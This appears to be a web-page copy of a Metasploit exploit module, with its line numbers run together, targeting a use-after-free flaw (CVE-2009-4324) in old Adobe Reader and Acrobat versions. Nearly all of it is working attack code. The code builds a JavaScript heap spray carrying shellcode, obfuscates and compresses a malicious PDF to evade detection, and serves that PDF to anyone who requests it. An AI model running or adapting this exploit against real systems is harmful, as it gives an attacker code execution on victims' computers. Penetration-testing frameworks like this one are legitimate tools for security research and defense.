Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_media_newplayer.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',15'Description' => %q{16This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat17Professional versions up to and including 9.2.18},19'License' => MSF_LICENSE,20'Author' =>21[22'unknown', # Found in the wild23# Metasploit version by:24'hdm',25'pusscat',26'jduck',27'jabra'28],29'References' =>30[31[ 'CVE', '2009-4324' ],32[ 'BID', '37331' ],33[ 'OSVDB', '60980' ],34[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]35],36'DefaultOptions' =>37{38'EXITFUNC' => 'process',39},40'Payload' =>41{42'Space' => 1024,43'BadChars' => "\x00",44'DisableNops' => true45},46'Platform' => 'win',47'Targets' =>48[49# test results (on Windows XP SP3)50# reader 6.0.1 - vulnerable / doesn't work51# reader 7.0.5 - untested52# reader 7.0.8 - untested53# reader 7.0.9 - vulnerable / doesn't work54# reader 7.1.0 - untested55# reader 7.1.1 - untested56# reader 8.0.0 - untested57# reader 8.1.1 - works58# reader 8.1.2 - untested59# reader 8.1.3 - untested60# reader 8.1.4 - untested61# reader 8.1.5 - untested62# reader 8.1.6 - untested63# reader 9.0.0 - untested64# reader 9.1.0 - works65# reader 9.2 - works (no debugger, no DEP)66[ 'Adobe Reader Windows English (JS Heap Spray)',67{68'Size' => (0x10000/2),69'Ret' => 0x0c0c0c0c70}71],72[ 'Adobe Reader Windows German (JS Heap Spray)',73{74'Size' => (0x10000/2),75'Ret' => 0x0a0a0a0a76}77],78],79'DisclosureDate' => '2009-12-14',80'DefaultTarget' => 0))81end828384def autofilter85false86end8788def check_dependencies89use_zlib90end9192def on_request_uri(cli, request)9394# Encode the shellcode.95shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))9697# Make some nops98nops = Rex::Text.to_unescape([target.ret].pack('V'))99100# Randomize variables101#102len = 72103rand1 = rand_text_alpha(rand(100) + 1)104rand2 = rand_text_alpha(rand(100) + 1)105rand3 = rand_text_alpha(rand(100) + 1)106rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')107rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')108randnop = rand_text_alpha(rand(100) + 1)109110vtbuf = [target.ret].pack('V') * 4111vtbuf << rand_text_alpha(len - vtbuf.length)112vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')113retstring = Rex::Text.to_unescape(vtbuf)114115# The printd strings are 72 bytes (??)116script = %Q|117var #{randnop} = "#{nops}";118var #{rand1} = unescape("#{shellcode}");119var #{rand2} = unescape(#{randnop});120var #{rand3} = unescape("#{retstring}");121while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};122#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);123memory=new Array();124for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }125util.printd("#{rand4}", new Date());126util.printd("#{rand5}", new Date());127try {this.media.newPlayer(null);} catch(e) {}128util.printd(#{rand3}, new Date());129|130# Create the pdf131pdf = make_pdf(script)132133print_status("Sending #{self.name}")134135send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })136137handler(cli)138139end140141def random_non_ascii_string(count)142result = ""143count.times do144result << (rand(128) + 128).chr145end146result147end148149def io_def(id)150"%d 0 obj" % id151end152153def io_ref(id)154"%d 0 R" % id155end156157#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/158def n_obfu(str)159result = ""160str.scan(/./u) do |c|161if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'162result << "#%x" % c.unpack("C*")[0]163else164result << c165end166end167result168end169170def ascii_hex_whitespace_encode(str)171result = ""172whitespace = ""173str.each_byte do |b|174result << whitespace << "%02x" % b175whitespace = " " * (rand(3) + 1)176end177result << ">"178end179180def make_pdf(js)181182xref = []183eol = "\x0d\x0a"184endobj = "endobj" << eol185186187pdf = "%PDF-1.5" << eol188pdf << "%" << random_non_ascii_string(4) << eol189xref << pdf.length190pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj191xref << pdf.length192pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj193xref << pdf.length194pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj195xref << pdf.length196pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj197xref << pdf.length198pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj199xref << pdf.length200compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))201pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol202pdf << "stream" << eol203pdf << compressed << eol204pdf << "endstream" << eol205pdf << endobj206xrefPosition = pdf.length207pdf << "xref" << eol208pdf << "0 %d" % (xref.length + 1) << eol209pdf << "0000000000 65535 f" << eol210xref.each do |index|211pdf << "%010d 00000 n" % index << eol212end213pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol214pdf << "startxref" << eol215pdf << xrefPosition.to_s() << eol216pdf << "%%EOF" << eol217218end219end220221222